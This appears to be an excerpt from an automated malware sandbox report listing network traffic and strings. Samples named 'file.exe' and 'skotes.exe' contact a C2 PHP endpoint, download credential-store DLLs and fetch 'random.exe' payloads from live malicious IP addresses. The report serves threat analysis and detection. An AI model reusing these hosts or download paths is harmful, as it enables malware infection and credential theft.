Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732490865&P2=404&P3=2&P4=H8zD450yr6M4GmuBJanxSNjkzbOv03K6XSzW5MhWkdK785LvSgJ%2fSSYAIXlB8hie8%2bpDoQ5VqYgKVCsery1LyA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: +0g8GJFS7+Hkhclo6TkcNDSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=S7tRaMZdES+8CC9&MD=GkZEMPXk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /

Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejj5vs.top

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/D
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ferences.SourceAumid
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe3J
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6O
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea5
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea5c
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeo%
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exepY
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeqJ
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exerlencoded
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2715412771.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2713835839.0000000000177000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2715412771.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/$
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllx
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllk
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2715412771.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlla
Source: file.exe, 00000000.00000002.2715412771.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2713835839.0000000000177000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6
Source: file.exe, 00000000.00000002.2713835839.0000000000177000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpGIIJJE.exeata;
Source: file.exe, 00000000.00000002.2713835839.0000000000177000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000018.00000002.3492180226.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpgL
Source: skotes.exe, 00000018.00000002.3492180226.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000018.00000002.3492180226.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeS
Source: skotes.exe, 00000018.00000002.3492180226.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exerlencodedj
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
